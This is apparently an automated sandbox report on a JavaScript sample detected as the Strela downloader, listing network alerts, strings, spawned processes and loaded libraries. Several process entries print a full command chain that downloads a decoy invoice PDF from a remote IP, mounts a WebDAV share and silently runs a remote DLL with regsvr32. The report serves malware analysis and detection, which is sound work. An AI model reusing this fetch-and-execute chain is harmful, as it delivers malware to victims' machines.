Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: wscript.exe, 00000000.00000003.2148252294.0000027596AC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2226605775.0000018709168000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2226605775.000001870919C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2226605775.000001870919C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9
Source: net.exe, 00000007.00000002.2226605775.000001870919C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/e
Source: net.exe, 00000007.00000002.2226605775.000001870919C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/er
Source: svchost.exe, 00000009.00000002.3420018490.0000026F16484000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2226842247.0000026F16250000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2248, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1808220077299634192.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5424:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uxn145xc.tin.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1620,i,14760046977536667840,10936330580510443145,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1620,i,14760046977536667840,10936330580510443145,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
